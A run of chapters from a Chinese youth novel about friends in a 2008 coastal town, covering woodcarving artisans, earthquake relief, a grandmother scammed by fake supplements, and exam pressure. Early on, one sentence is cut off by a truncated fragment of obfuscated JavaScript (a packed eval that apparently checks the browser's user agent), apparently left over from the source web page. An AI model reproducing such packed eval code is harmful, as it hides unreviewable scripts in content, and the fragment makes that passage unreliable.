这是来这里的第三天。徐澄月白天和许琳一行人到村里各户人家走访,看他们的作品,和他们话家常,问一些木雕知识技法。江韫北就跟在她身边,有时和她一块听听,听不懂就拿相机四处拍。回到镇上,其他人都歇了,剩他们两个小年轻,精力旺盛的,还能四处逛逛。 其实要感谢江韫北的,陌生的地方,一到九点冷清的夜,他不在,她肯定老老实实待在酒店。 江韫北听到她这话,腰板瞬间挺直,昂起下巴,一个眼神过去,看吧,还骂我偷偷跟来,不来谁给你保驾护航。 徐澄月看懂他的意思,白他一眼,咽下后面准备夸他的话。 时间不早,他们正往回走,街边有烧烤店,浓烟和香味勾人。 徐澄月站在烟雾外,双手插兜,鼻子从围巾里探出来,脑袋往前凑,闭着眼深呼吸。 像极烤鸽守在阿爷锅炉前等菜的馋样,看得江韫北深感无奈,想吃又怕味道熏到头发,闻一闻味道嘴能咧到耳后根去,也只有她了。他把相机塞给她,朝着她身体倾斜的那家去。 徐澄月满意地抱着相机等,顺便在边上便利店买了几瓶汽水。 酒店房间有阳台,往下望可以看到整个街景,虽是黑蒙蒙一片,但也别有一番趣味。只是风大,吹不了多久烤串就得凉,徐澄月不在意,丢两个蒲团在阳台上。 江韫北没办法,只好把小桌子搬到屋内,烧烤放里面,他们坐外面。 水过三巡,烧烤吃了大半,江韫北问起她这几天的感受。 “很复杂。”徐澄月撕开一只鸡翅,翅根递给他,他自然地接过,“看到很多优秀作品,很开心,被阿爷阿婆们指点技巧,很激动,收到他们给的小玩意,也很感动,但不知道为什么,总有种很莫名其妙的伤心和迷茫。” “因为他们的生活境况?”他们去的那个村子,偏僻又落后,村民住的房子和云水村的老厝有些像,但简陋很多,好几家外墙十分脆弱,不小心碰到能掉下一地墙皮。相比之下,云水村简直是现代化乡村。 “有一半是。”徐澄月拄着脸叹气,“为什么手艺人都过得那么清苦呢?丁爷爷是,这里的人也是,明明他们的作品很好,可是买的人却那么少。” 江韫北问:“你有没有观察他们做的东西?” 徐澄月点头,大多数形状是动物、神像、神兽,或是一些祭祀用具,比较传统,多用于当地民俗,有一定局限性。具备观赏性的大件,雕刻工艺复杂,周期长,价格相对高些,但这里经济条件一般,几乎没有哪家有闲钱高价购买一尊艺术品放家里积灰。加之信息闭塞,东西传播不出去,喜欢的人买不到,久而久之,手艺人只能赚点小钱,勉强温饱。 “我听他们说,已经有好多人为了生活放弃这门手艺了,还在做的,自家孩子也不愿意接手,觉得没有前途。” 江韫北揪着她袖子,轻声安慰:“那他们的现实生活就是这样,总不能让他们为了梦想,放弃生活,对吧。” “你说,梦想一定会和现实冲突吗?”这也是她迷茫的点,“没有钱,钱不够,就不能追求喜欢的东西吗?当时丁爷爷也是,解决了生活温饱,四五十岁了才继续做木雕。” 江韫北思考半天,发现他爸妈从小把他养得挺好,他目前还没有尝到梦想与现实抉择的艰难。 他思考的空档,徐澄月也反应过来,江大少爷压根没吃过苦! “那也不代表我不懂好吧?”他抢走她喝剩的最后半瓶可乐,“梦想这个东西挺悬乎的,像我们现在,老师每天各种打鸡血,认为梦想是高考考好,去喜欢的大学和城市,等这个梦想实现了,发现可能和想象的不一样。那些手艺人呢,你问他们梦想是什么,他们估计不知道这两个字怎么写,做木雕,或许是喜欢,也或许是传下来营生的手艺,我们觉得他们辛苦,但他们未必不快乐,我这两天拍他们,都是笑着的。” 江韫北喝口水,继续道:“当然,肯定也有人觉得光靠木雕过不下去,选择暂时放弃,等以后条件好点了再继续。所以为什么非要把它们放到对立面去呢,二者相互成就不行吗?梦想是现实的动力,现实是梦想的支撑,不同阶段,选择不同而已。” “可是总有人因为现实问题不得不放弃梦想,长久过着自己不喜欢的生活。”不怪她会这样想,许琳从前和她讲的,她这趟来自己看到的,都有。 江韫北换了杯热水给她,“我以前好像和何意霖说过,考试嘛,总会有考得好的,考的不好的,生活也一样啊,有的人能釜底抽薪,就像改变方程式里某个影响条件,结果也会改变,而有的人,他的能力不足以支撑他改变什么,只能就这样下去,但也不能怪他,除了能力,环境、际遇、社会发展、个人意志,甚至还有点运气成分。这个世界有厉害的人,也要有普通人,要是都那么厉害,秦始皇早能长生不老了,还有我们什么事嘛。” 徐澄月有些惊讶,一向没个正经的江韫北,今晚居然侃侃而谈,有感而发这么多。 江韫北赏她一爆栗,“别把我当初废物。” 徐澄月捂着额头,暂时把心里江韫北的形象拔高点,“如果是你呢,遇到这样的选择,你会怎么办?” “我?不知道,等真遇到了再说吧,现在啊,咱就是享受。” 徐澄月踢他一脚。 江韫北拦住她的脚,用外套裹住,“你呢?” “我?”徐澄月眨眨眼,“你猜?” 江韫北故作高深莫测,“我猜啊,徐同学今天听了江老师的课,肯定深有体悟,将来遇上这样的事,肯定会来找我取经,到时我就会告诉她,徐同学,清醒点,看清脚下路啊。” 徐澄月笑骂:“去你的,认真点。” 江韫北收起玩笑,正色道:“我会和她说,徐澄月,大胆点,照你喜欢的往前走,我在后头帮你兜着!放心!” 徐澄月一怔,但也不意外他会这样说。一直以来,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像一篇文章,有的字句华丽,引经据典,却空洞,难以打动人心,有的字字平实,粗俗直白,点墨笔间,却牵动思绪,潸然泪下。 她不清楚这样的形容对不对,只是此刻,她隐约感受到,那些照片里,充满了…… “徐澄月!干嘛呢,看愣了?” 徐澄月回过神,忙说没有,相机拿远一些,再去看,才发现她的手指停在,她举着朵小黄花,看向镜头,笑意盈盈的照片上。 这张是在下午拍的,阳光恰好,风暖猫叫。他们走在村间小路,路窄,两边是老屋,里面一处空地往上搭个木棚,木棚上种着一片丝瓜,瓜被摘完了,只剩藤间错落黄色的丝瓜花。他喊了她一声,她回头,他递过来两朵新鲜饱满的花,一朵给她,一朵戴在她发间,笑着喊,这漂亮,徐澄月,给你拍一张。 镜头后,是同样戴着小黄花的他。 想着那会,徐澄月笑了笑,抬头,撞入他眸中。他也在笑,像下午那个好天气,开在木棚上向阳的小黄花。 65. 第 65 章 从小渔村返家,转乘火车时,江韫北告别队伍,搭飞机前往北京寻找父母。登机前再三叮嘱许琳,要把人安全送回家。 许琳好脾气地一遍遍应着,见他越来越罗嗦,一把将他推进登机口,揽着徐澄月离开,不忘打趣:“你这小竹马,还挺尽职尽责。” 徐澄月一步三回头,说他是唐僧化身,一天不念叨不舒服。 许琳看在眼里,笑笑不作答。 凌晨时分到家,徐澄月不见疲惫。洗漱好,生龙活虎地和父母分享一路见闻。 徐爸徐妈耐心听着,一面回应一面给她布菜,最后不忘夸奖:“出去一趟收获不少,看来以后不能老把你拴在家里。” 徐澄月鼓着腮帮子点头。 徐爸看着她背回来的东西,乐呵地问:“再有半年就高三了,大学专业什么的,看来是想好了?” 徐澄月没有应声,给了一个神秘的笑。 徐妈:“对了,小北是直接去北京了吗?这么折腾,身体吃得消吗?” 徐爸:“年轻小伙,吃得消。” 徐妈斜他:“人可是为了你闺女。” 徐爸理所当然:“男孩得保护女孩啊,再说了,他自动请缨,我哪能拒绝。” 父母就着江韫北聊下去,徐澄月埋头滚烫馄饨汤里,想起晒干压在书册里的小黄花。 江韫北这一走,开学前才回来,恰巧俞麒俞爸也这两天回来,一行人在老厝过完年还没走,便再次齐聚。 和往年一样的热闹,只除钟屏,过完初三便和朋友去旅游了。 云水村是个小地方,发生点什么事,就像空旷地里敲声锣,四面八方都能听到。俞家夫妻离婚的事传得沸沸扬扬,钟屏知道总有人会说三道四,自那之后就没回来。而俞澍此行,是为开春陪同俞麟前往省队参加选拔赛。 选拔赛在三月初,但二月下旬就得过去。江韫北几人担心开学后抽不出时间,便选在这两天给俞麟践行。 江大少爷攒的场子,排面照旧。他送了双特地拎回来的耐克运动鞋,告诉他广告里穿了这鞋的人,都跑得特别快。其他人也送了小礼物,希望他顺利进入省队。俞麒记挂他养好不久的拉伤,叮嘱他注意身体,量力而行,不要为了一次选拔,伤了腿。 俞麟将朋友们的牵挂一一收下。 出发当天是周六,几人去送机。 话别到最后,一个女孩高喊着“俞麟”匆匆跑进来。 八卦之心一触即发,五人紧盯女孩和俞麟的互动。 随行教练这时上前,斥责女孩,昨晚不是道过别了吗。 女孩讪讪,目光看向俞麟,小声道:“他还没有。” 冉教练一怔,这才反应过来女儿不是为自己而来,带着探究的眼神,不太友善地打量两人,最后只是背手走远一些。 时间紧迫,冉于漪来不及哄老父亲,把路上想的话一股脑倒出。 语句重复,语序不对,用词不准,俞麟不解风情地想起语文卷上的病句选择题。等她气喘吁吁停下,他递上自己的水,复述:“我知道,不要受伤,好好跑,你相信我。” “还有!” “什么?” “如果你留在省队,我……”冉于漪停下,她想,有些话还是不要说太早,“我去省城,就能找你玩了。” 俞麟敲她脑袋,“天天想着玩,好好学习!教练不在,记得照顾好自己。” “知道啦。” 时间差不多,俞麟最后和他们说两句,便登机了。 瞧不见人了,冉于漪才准备离开,一转身,被身后除俞麒外的四人,如出一辙的站姿和过分亲切的神态吓了一跳。 她认得他们,俞麟的朋友,想来是看到先前那一幕了,她尴尬地笑了笑,和他们打招呼:“嗨,你们好,我是冉于漪。” - 高二开学,气氛骤然紧张。每个科目都在赶课,快的要收尾提前进入复习,慢的要冲刺在学期结束前收完,还要帮他们巩固前面的知识。试卷一张张出,印刷室永远需要排队,办公室每天都有学生在数试卷。 老师们紧张起来,学生自然不敢松懈,刚开学就连轴转。再加一个小高考,被反复提醒三科等级会影响大学录取后,课上分心的人少了,干净的课本逐渐被画得五颜六色,听到科任老师说出常考点三个字,像狗嗅到骨头香一样,一头扎进去。甚至有时找选了不同科的同学好友求助,都期待这临时抱佛脚,能为之后挣得一个优先权。 何意霖为此,头一回当起了朋友们的小老师,虽然自己都分身乏术,但还是开心,总算有机会报答这些年他们帮她补习。 徐澄月听到“报答”二字,不满地皱眉,何意霖连忙换了说辞,让她有当他们老师的机会。 这天几人学习完,何意霖偷偷塞给徐澄月一件东西,面露难色,告诉她,是文科班一名交好的同学请她帮忙转送的,转送的对象还没说是谁,徐澄月下意识以为是江韫北,眉浅浅一皱,却依旧扬着下巴,让何意霖直接给他,她可不接。 说完盯着那晃眼的粉色,总觉得心里刺刺的,像烤鸽没及时剪的指甲,挠在手心的感觉。 何意霖说,是给方之敛的。 “我?”被点名的方之敛,不知所措,看了东西几秒,不由自主地看向岳清卓。 岳清卓还在看题,闻言只稍抬下眼,问:“以前理科班的同学?” 何意霖不知如何作答。 岳清卓继续道:“是什么,能吃吗?”学了一下午,她早饿了。 “芝士饼干。” “怎么会送这个?阿敛不吃芝士饼干的。”岳清卓奇怪,也没细想,叫何意霖拆出来分掉。 收到方之敛询问的眼神,何意霖补充一句:“她说不要也不用带回去。” “那拆吧。”方之敛自己拆了,放到岳清卓手边,“意霖,帮我带钱或者带个小礼物给她,说声谢谢和抱歉。” “抱歉,为什么要道歉?”岳清卓视线依旧不离书。 方之敛不知道怎么回,索性沉默,莫名心虚地摸摸鼻子。 旁观整场对话的江韫北,顺走一块饼干,丢下一句:“心真大。” 都知道高三是场恶战,但恶战还没开始,战前备军眼见要让人吃不消,几位家长坐不住了,找一个周末,订了游乐园的票,要带他们出去放松。 约在早晨九点集合,徐澄月八点起床,却见徐爸像纪录片里探险家一样,装备整齐,徐妈忙进忙出,问这个东西那个东西要不要带,但不像是外出游玩的架势。 正想问,被电视机里新闻播报的声音吸引。初看报道,徐澄月并没有什么感觉,直到镜头带到满屏废墟,出现一个个灰头土脸的人和连绵哭声,她才恍然,焦急地撑住电视机看后续。 徐爸这时走来,告诉她他要临时跑一趟远途,可能会有十天半个月不在家,让她安心学习,陪伴妈妈,周末有时间回去看看阿嬷。 不知道哪里来的预感,徐澄月抓住他的手,问,是不是去这里? 徐爸为难地看着她和徐妈,不说其他,只承诺会平安回来。 等他慌张出门,徐澄月才从徐妈那里听到事情全貌。徐爸队里有一批货这两天会经过灾区,但从昨天就联系不上他们,情况不明,徐爸作为这组车队的负责人,必须和上级领导一起,前往查看情况。 “妈,我爸会不会有危险?”徐澄月抖了抖,五月的天,她感觉手脚凉透。 “不会的。”徐妈关掉电视机,搂着她安慰,“你爸只是去查看情况,最多就是帮忙运送物资进去,不会有事的。只是阿嬷那里,我们要先瞒着。” 徐澄月怔怔点头,靠在妈妈怀里,脑子里是那满屏废墟。母女俩坐到集合时间,其他人找上门,才发觉没有告诉他们。 “那要不,今天算了,我们在家好好休息。”得知前因后果的方妈提议。 徐妈不想扫他们兴致,也担心在家也会更多想,“别啊,票都买了,干嘛不去。澄澄,去换衣服,你爸要是知道因为他我们没好好玩,要自责的。” 徐澄月魂不守舍地照做。 到游乐园,妈妈们玩几项轻松的项目,就找地方喝茶去了,让他们自由活动。 徐澄月在朋友们陪同下,玩了一种又一种刺激游戏,最后纷纷腿软,只剩俞麒,手里捏着几张过山车的票,以眼神询问她,要不要继续。徐澄月点头,让三人原地休息,和俞麒一起把剩下的几趟玩了。 高空游戏缓解了紧张情绪,徐澄月心情好转,又在晚上接到徐爸途中报平安的电话,放下一点心。 只是半月过去,徐爸仍没有返回,联系频率也逐渐减少。 又过一周,一院组建医疗团队前往支援,方爸方妈都在其中,而徐妈因牵挂女儿,没有参与这次支援。 又是两周过去,徐爸最后一次报平安,便没了消息。 而阿嬷那边,也瞒不住了。 得知儿子去灾区已有月余,担忧之下,阿嬷病倒了。徐妈要把她接回家属院照顾,她不肯,没办法,徐妈只好医院老厝两头跑。 为减轻母亲负担,一到周末,徐澄月便回老厝帮忙照顾。阿嬷平日脾气就不好,一生病整个人更刁钻,她受了不少气,有时候忍不住想顶嘴回去或撂担子不干,想起在医院忙得脚不沾地的徐妈和消息不明的徐爸,又默默忍下。 只是有一天,她突然发现,身体和情绪双重影响下,阿嬷又开始相信那些所谓调养身体和缓解病痛的保健品。 见有些药瓶空了大半,好声好气的劝导阿嬷不买账,连日压抑的情绪一瞬爆发,她第一次强势地反对,并强硬要将那些药丢了。阿嬷是个不怎么吃软但一定不吃硬的人,哪有让小辈骑到头上做主的道理,当下便骂骂咧咧,动起手来。 徐澄月不敢还手,也 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江韫北给她倒杯热水压惊,陪她坐在外头等,“没事的啊徐澄月,你别怕。” “是我不好,我不该和阿嬷吵架。”母亲没有责怪,他也在安慰,这让徐澄月更自责。 江韫北给她擦眼泪,半逗人半安慰:“以前阿嬷骂那么凶,你都没回嘴,这回肯定踩到你猫爪子了,踩疼了总有感觉吧,总要叫唤几声吧,你又不是植物人。就像有时候坐到烤鸽,它都要挠你几爪子反抗呢。” 见她有点笑容,江韫北继续逗人,余光瞥见她手臂上几处红紫,昨天还没有的,“阿嬷弄的?”得到肯定回答,他不得不将到嘴的粗口憋回,跑回家拿外伤喷雾,边喷边抱怨:“下这么重的手,当你面团呢!不过阿嬷以前也不动手啊,这次是怎么了?”他了解她,对他们几个咋咋呼呼,对老人可是尊重得不行。 徐澄月含糊带过,阿嬷让她瞒住,大概也是担心买保健品的事被徐妈知道,“没事,不疼,明天就消了。” 又等了好一会,徐妈才出来,告诉他们没什么事,她去医院给阿嬷预约个体检,让他们进去陪着。 阿嬷睡着了,人看着没先前那样虚弱。徐澄月寸步不离,晚饭也由阿爷和江韫北送过来。 等到晚上十点,她才迷糊醒来,喝了碗粥,气色更好了些。她靠在床头,懒懒地抬抬眼尾,瞅徐澄月一脸苦瓜相,没好气地“嘁”一声,“没告诉你妈吧?” 徐澄月迟疑几秒,点头。 “出息,就这胆子,还敢和我叫板。” 徐澄月乖乖认错:“阿嬷,对不起,我不该和你吵架,可是那些东西……” 阿嬷挥挥手,“行了行了,不吃了,回去睡觉吧。” 徐澄月不肯,非要等徐妈回来交班陪护,被老太太一句“我还没到要人陪护的地步”给轰走。 第二天一早,徐妈准备齐全,带阿嬷去医院检查,徐澄月和江韫北陪同。 阿嬷看这阵仗,一口热粥咽不下去,“不知道的以为我得了什么绝症。” “阿嬷!”被三人齐声制止。 项目不少,赶在医院下班前做完。徐妈拿来几项出结果比较快的项目,说没什么大问题,让他们放心。 “就是嘛,”江韫北搂住阿嬷,“阿嬷精气神这么好,劲儿又足,撂倒一个徐澄月都没问题,身体肯定贼棒。” 阿嬷琢磨这话,说得没错,但听起来不舒服,想起今早自家孙女手上的淤青,心领神会,剜他一眼,“臭小子!” 明天还要上学,但徐澄月不放心,还是跟着徐妈把阿嬷送回老厝。趁她和阿爷说话的工夫,她偷偷把买来的维生素和钙片,换进她的保健品里。不是她信不过阿嬷,只是觉得人在被情绪主导时,什么承诺、原则都有可能被打破,什么东西都能欺骗脆弱的身体。 即便做到这样,徐澄月仍旧担忧,周末再回来,拐弯抹角地向阿嬷打探保健品是在哪买的,得到一个地址。但她不敢自己去,之前讲座是她和江韫北发起的,他们肯定还记得,只好托邻居弟弟去帮忙买,让他谎称家里老人吃完了,她则跟在后面查看。 弟弟进去一会出来,钱没了一半,告诉她明天中午来拿。 她蹲守了一天,看见不少老人进出,有的空手进去空手出来,有的出来时提了个黑色塑料袋。等到晚上,她找借口到几位熟识的阿爷阿婆家,几番试探,终于知道那些人是怎么推销的。 有了上次的教训,这回那些人不再大张旗鼓地宣扬,只挑家中没有年轻人又体弱多病的老人。药也用和日常药瓶差不多大小和外形的瓶子装着,叫粗心的年轻人无法轻易察觉。 她拿了阿嬷的药,和其他不同阿爷阿婆的,连夜给徐妈送去,让她帮忙请医院检测药物成分。 第二天,约定时间之前,她早早候在暗处,等那老厝门一开,她立马报了警。 66. 第 66 章 徐澄月病倒了。 在警察收缴了那堆保健品并挨个村提醒别上当受骗,和收到徐爸报平安的消息后,心绪一松,六月大热的天,晚自习上着上着,就昏沉地睡倒在课桌上。 等清醒过来,人已经躺在床上。睁眼就瞧见边上在写题的江韫北,她稍动下身,他立马察觉,举着水杯凑近问是不是要喝水。 徐澄月点头,喉咙又干又疼,吞咽难受。 一杯水到底,江韫北问还要不要,还有哪里不舒服。 徐澄月摇头,手指着喉咙。 “发炎了,得痛一会呢。”江韫北把薄被给她拉高,“傻乎乎的,生病了都不知道说,还拼命学个什么劲。我背你去校医室的,病好了可得好好补偿我。” 徐澄月笑着瞪他,声音沙哑:“怎么没把你重死!” “你别说,小时候胖墩墩的,现在倒瘦,我单手都能背动,我和徐姨说说,等你病好了得好好补补,再瘦下去,烤鸽都比你重。” “太阳打西边出来,你居然夸我瘦。”她可没忘记,那时候一天要从好几个方面说她胖。 “我这是实事求是。”怕她再睡过去,江韫北把徐妈交代的粥和药给她喝下,见她皱眉抗拒,哄道:“再喝点,喝完和你说个好消息。” “你先说。” “欸你这人怎么不按规矩,”仗病欺人,江韫北没办法,“徐叔早上打电话来,说下周就回来了。” “真的?” “我骗你做什么。” “那方叔方姨呢?” “他们是医疗队的,恐怕没那么快。” 好消息让徐澄月食欲好了不少,吃完重新躺回去,又昏昏欲睡。夏天发烧最愁人,身体像小火炉,不能开风扇,薄薄的被子也成棉毯。出了汗黏糊糊的,她翻来覆去找不到舒服的睡姿。 江韫北拿扇子给她扇风,“没事,睡啊。” 凉风一缕一缕,不算大,足够拂去燥热。徐澄月渐渐睡熟过去,恍惚做起梦来,那时她学木雕没多久,一有空就窝在丁爷爷家,江韫北和俞麟每次踢完球过去等她,等到最后,总是只剩江韫北,有时蹲在天井发呆,有时躺在几张小凳子上睡觉,等她喊了,迷迷糊糊起来,说,徐澄月,回家了。 徐澄月病好得差不多时,徐爸也终于回来。 进门就被她熊抱住,又哭又笑,“老爸,你怎么跟个黑猴子似的!又瘦又黑!” 徐爸回抱她,也没个正形,“你怎么瘦成白骨精了!” 将在场有些伤感的人逗笑。 徐妈眼眶微红,嗔怪道:“这父女俩,一个模子刻出来的。” 等坐下来,徐爸才简要说了这两个月的日子,其实花在路上的时间占了大半,起先还勉强能行进,越靠近震区,道路毁坏越严重,高楼坍圮,地面开裂,山体滑落,路已经不成路。他们将随运的物资捐赠给第一个地方后,原打算继续前行,但车开不过去,只能留下支持救援,直到稍微清理出路面,当地人为他们找来合适的交通工具,才继续往前走。 到下一个地方,也是如此,等到了车队可能途径的地方,难题又出现,他们不知道队友们是否遇险,但双方始终联系不上,如果遇险,他们也没收到消息,只能上报,然后在那里等,帮忙运送物资,辅助搜救队,之后就是一个月。回程前夕,队友终于联系上他们,全员安全无事,那天出车的队友中,有对防震稍了解的,帮他们逃过一劫。只是路程、通讯受影响,加上也加入救援,一来二去就没联系上。 “哦对,我见到平津和倩文了,阿敛,你别担心,他们都平安,就是医疗队人手不够,还得待一阵。” 方之敛一直在等什么时候能插嘴问一句父母情况,听到消息,如释重负。虽然父母会时不时发消息报平安,但他始终惴惴不安,偶尔还会从梦中惊醒,怕他们担心,只能撑到天亮再发消息询问。 “嗯,没事就好。”他悄悄松口气。 在徐家吃过晚饭,他照旧婉拒叔姨们和朋友们的邀请,独自回了空荡的家。白墙黄砖,静得能听见某些不露面生物的呼吸,他再次感觉到孤寂。 以前江韫北总说他,活得像个老干部,一个人喝茶,一个人学习,一个人可以做任何事,不怕吵更不怕静。父母不在的这两个月,他才察觉自己忽然间忍受不了安静,虽然他们在时大多数时候也是安静的,但有呼吸的安静,终归不一样。 他去书房,找到上次看一半的人体结构学,假装父母在身边。 没多久,门铃响起,他看眼时间,九点,非常准时。开门,迎面飞来一双拳套,这回他准确接住。 “来,今天你给我当沙包。”岳清卓说话声微喘,她把爬六楼当热身。 方之敛戴上拳套,回忆当沙包的要领。过去一个月,除了上晚自习,每天晚上这个点,她都会借口锻炼身体,准时来找他打拳。从一开始蒙头被打,到现在能接住她几拳,他想,再练下去可以跟她一块去考级了。 “可以啊,岳师傅保证带你一次考过。” 方之敛轻笑,抬手挡住她踢来的一脚。 半个小时后,岳清卓面不改色,方之敛气喘吁吁。 “清卓,”他做出停止手势,“沙包有点累,申请休息。” 七月份,蝉鸣最激烈时,08届毕业典礼结束,他们带走书本、知识和回忆。准高三们即将搬进朝中最深处那栋楼,未来一年,会像桃花源那样,短暂与世隔绝。 假期只有一个月,带不回去的书册试卷,一沓一沓提前送进去。原有回音的教室,十分钟不到,填沙子似的被压实填满。 “完了,刚放假,我怎么就有种悲凉感。”梁嘉和闻着一股子纸张味感慨。 杜可颐嘲笑:“提前为你的高三默哀?” 梁嘉和斜她一眼,“就你会说。”趁同学还在,他鼓着掌吆喝,要不要一块聚一下。 响应的人不少,他清点人数,见江韫北埋在一堆书里没说话,窜过去问他。 江韫北向来没有决定权,梁嘉和才想起来,“澄月和清卓呢?” “一个去20班找人了,另一个,哼,被人绊住了。”去给其他人讲题也就算了,居然还让他帮她收拾书桌,徐澄月真是欠收拾。 听出他语气里的郁闷,梁嘉和就知道绊住她的人是谁了,火上浇油,“澄月同学很热心嘛。”果然收到他不善的眼神。 梁嘉和默默后退:“那我算上你们咯?” 江韫北不冷不淡:“随便。” 一行人去了老市场附近一家牛肉火锅店,梁嘉和十分有眼力见的,把徐澄月和江韫北的座位安排在一起。 上次发 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江韫北破罐子破摔,“怎么同样是你补习,胡烁能考80,我就只能考及格?”考前徐澄月还给他恶补过,他信心满满,看到成绩后,天塌了,看到胡烁的成绩,他被压进土里。 徐澄月万万没想到他在郁闷这个,向来是个“成绩不能决定一切,考不好也有考不好的道理”的豁达性子,难得有火急火燎的时候。 “那能一样吗?”他吃下她不断夹过来的牛肉,“豁达又不是愚蠢,下个月就高三了。” 想想也是,徐澄月说:“我教给你们的方法都是一样的,给你讲题比给他还多呢。” 方法一样,时间还长,只是实验对象不一样,江韫北琢磨过来,恼怒:“你在暗示我比他蠢?” “我没有,你少冤枉我。” “最好是!”他灌下大杯可乐,“暑假接着帮我补,我就不信了,开学一定考赢他!” 徐澄月笑道:“你干嘛和他较真?也有可能我的问题,要不你还是找阿敛或俞麒吧,哦俞麒不行,他11月还有国赛呢,别让他分心,找阿敛,他物理单科一直前五。” “你有什么不行的?”江韫北横眼,控制变量法,他才不愿意换老师,“就这么定了,上回逛街你看中的木雕,我送你。” “江少爷大气!不过我只有晚上有空。” “白天做什么?” “早上睡觉,下午玩。” “行吧,晚上就晚上,白天我找外援。”一整天的郁闷基本被安抚,他拿起筷子,开始扫荡。 假期不到20天,徐澄月十分公平,早上献给床,下午献给木头。她和方之敛说好,这个假期不参与任何补习,就连晚上帮江韫北补物理,除了他不会的,绝不多看一个字母。没有人能阻止她疯狂地随心所欲。 而每天不远搭车来找方之敛补数学的何意霖,却为她着急,“假期是弯道超车的好机会,是赶超别人的最佳时机啊!” 徐澄月玩得入迷,傻呵呵的,“赶超别人做什么,超过自己就可以了呀。” 她毫不动摇,未来有的是苦日子,她才不提前找苦吃。 赶在假期结束前,她给每个人雕了一件高考吉祥物,买来钥匙扣系好,挂上他们的书包。 开学前一晚,她将所有木头,连带雕刻工具,全部锁进柜子里,钥匙放到高高的窗台上,342天后,她会来取下它。 67. 第 67 章 2008这年,中国发生了很多事。南方爆发雪灾,汶川发生大地震,首都北京举办了夏季奥运会,神州七号成功上天。 历时9个多月,九百多万平方公里土地上发生的事,被概括成寥寥几字。徐澄月在作文素材本上记下,摇头感慨,难怪之前历史老师说,书上的几句话,就是一段波澜壮阔的历史。 她回忆作文课上讲的和电视上听的,用数据、例子将事件补充完整,并标注可以用于哪些观点,可以从哪些角度进行论述。 整理完突发奇想,在下面空白处继续落笔: 2008年,在“金鸡”前脚下,一座小小的沿海城市,城里湘子桥边上的几户人家,也发生了几件小小的事。 就职于市一院,去震区支援的方叔方姨,在这一年的九月,平安回来,他们的儿子,一向被朋友视作稳重老成的团队领头羊,那天在人群后偷偷红了眼。 她用铅笔在这句话后添一句字迹模糊的:一向只懂耍拳,对情愁思绪不太敏感的岳女侠,那天用一个小拥抱,安慰了那只老山羊。 换回笔,她继续往下写。 徐家搞运输的徐爸和所在的车队,因对灾区的人道支持,被市委授予优秀运输车队和先进干部的荣誉,据说,收到锦旗的徐师傅,黑猴子瞬间有了齐天大圣的风范。 俞家的小儿子俞麟,2008年是他的丰收年,作为省田径短跑队的最新接棒人,参加了大大小小十几场比赛,无一不胜,赛场上锋芒尽显。 而他们几个从小一起长大的伙伴,也将进入中学生涯的最后一年。 国家和小家的运转,就像农耕播种,依靠土地和自然的力量,慢慢破土、发芽、结果,但这过程并不总是一帆风顺,风一下,雨一下,有序的成长有时会被打破,它们不得不重新抽穗、成熟,建立新的成长秩序。 思绪被教室的哄笑打断,徐澄月停笔,看向讲台,班主任温沁正让同学往下传东西。 “同学们,”温沁让大家安静下来,“这是高中最后一年,也是对你们未来几年,一个比较关键的时候。我之前一直给你们唠叨,做什么事,要有目标,这个目标,未必是终点,但它是个方向,船有方向才知道驶向哪片海域,人有方向才不会迷路,现在,是时候该给自己定个方向了。” 温沁让他们在白色卡片上写下想去的大学,“我想,你们一定在无数瞬间想逃离高中吧?如果逃离的目的地是全国,哦不止,可能是全世界成百上千所大学,你会选择往哪个方向去?写字、画画,都可以,现在给你半个小时,请把这张卡片写满。” 温沁交待完,便把空间留给他们。 有人开始交头接耳,有人大方展示梦想,有人低调藏住野心,一次关于高考方向的自我剖析机会,变成不同大学的交流分享会。 而墙角的徐澄月,盯着空白卡片几分钟后,拿支铅笔,在上面画起来,她画得专注,没接收到右下方江韫北,抛出来的聊天申请。 刚好画到下课铃声响起,小组长来收,她没有反着放,一张小画在一众空白中,格外显眼。 小组长惊赞:“厉害了澄月,写个目标院校都能画出幅画来,不过你画的是哪所学校啊?” 岳清卓闻言,也凑过来看,半天看不出个所以然。 江韫北这时捏着他还没写的卡片过来,也瞧不出,追问徐澄月到底喜欢哪所大学。 “做什么?” 江韫北左看看右瞧瞧,“还能做什么,参考一下呗。” 徐澄月靠在椅背上,双手抱胸,好奇地注视他,看得他有些无措,开始用各种小动作转移注意力后,突然笑了,演技真差,哪有问别人先慌了神的。她朝他勾勾手,示意他靠近,等他扭捏将耳朵递过来,她捉弄道:“你……猜啊!” “徐澄月!”江韫北盯着她跑远的身影,负气地在卡片上写下四个大字。 下午课上完,江韫北请了晚自习回家,江爸江妈要出一趟远差,临走前想一家人吃顿饭。 骑车去饭店的路上,经过许琳的店,店门紧闭。他听徐澄月说过,许琳留学去了,家人都不在朝城,她便把店关了,打算到那边稳定下来再另开一家。 骑走之后,发现什么,他又倒回去,仔细端详起这栋小楼。片刻,猛一拍大腿,徐澄月那幅小画,不就是眼前这座小楼! 江韫北不解,她的目标院校为什么会是这座小楼。 路上耽搁一会,到饭店,菜已经上好了。 阿爷见只有他一人,问清卓澄澄他们怎么不来。 江韫北饿坏了,接过江妈递的蟹肉开始吃,“都发奋图强呢,恨不得把一日三餐和睡觉都省了。” 阿爷一听,急坏了,中考那会就经历一遭,现在又来一次,现在这些娃,可不比他们那会抗造。 “放心吧阿爷,徐姨方叔方姨他们都盯着呢,不会让他们学出事的。” “怎么澄澄他们废寝忘食,你好像很悠闲嘛。”江爸笑着调侃儿子。 江韫北看得开:“该吃吃,该学学,走到哪一步算哪一步。” 江妈知道自家儿子在学习方面不是个太有拼搏劲的人,但对自己或多或少有要求,懂分寸,便没怎么唠叨学习上的事,只叮嘱他别太调皮,惹阿爷和姑姑生气,也得照顾好自己。 江韫北边听边吃,见江妈有再重复一遍的架势,连忙给她夹菜打断,“你们又不是第一回出差了,有什么好不放心的?” 江妈知道自己啰嗦了,笑着给他递毛巾擦手,“这次出去久,不说怕你忘。” “记性好着呢,你们放心去。” 江爸最后交代:“有什么事,就给我们打电话,钱不够了,就说,不用省。” “知道知道。” 他们要赶今晚的飞机,送爷俩回去后,便离开了。 大抵是今晚徐妈多说了一些,勾起阿爷的离愁别绪,车开出好远,他还站在路口看。 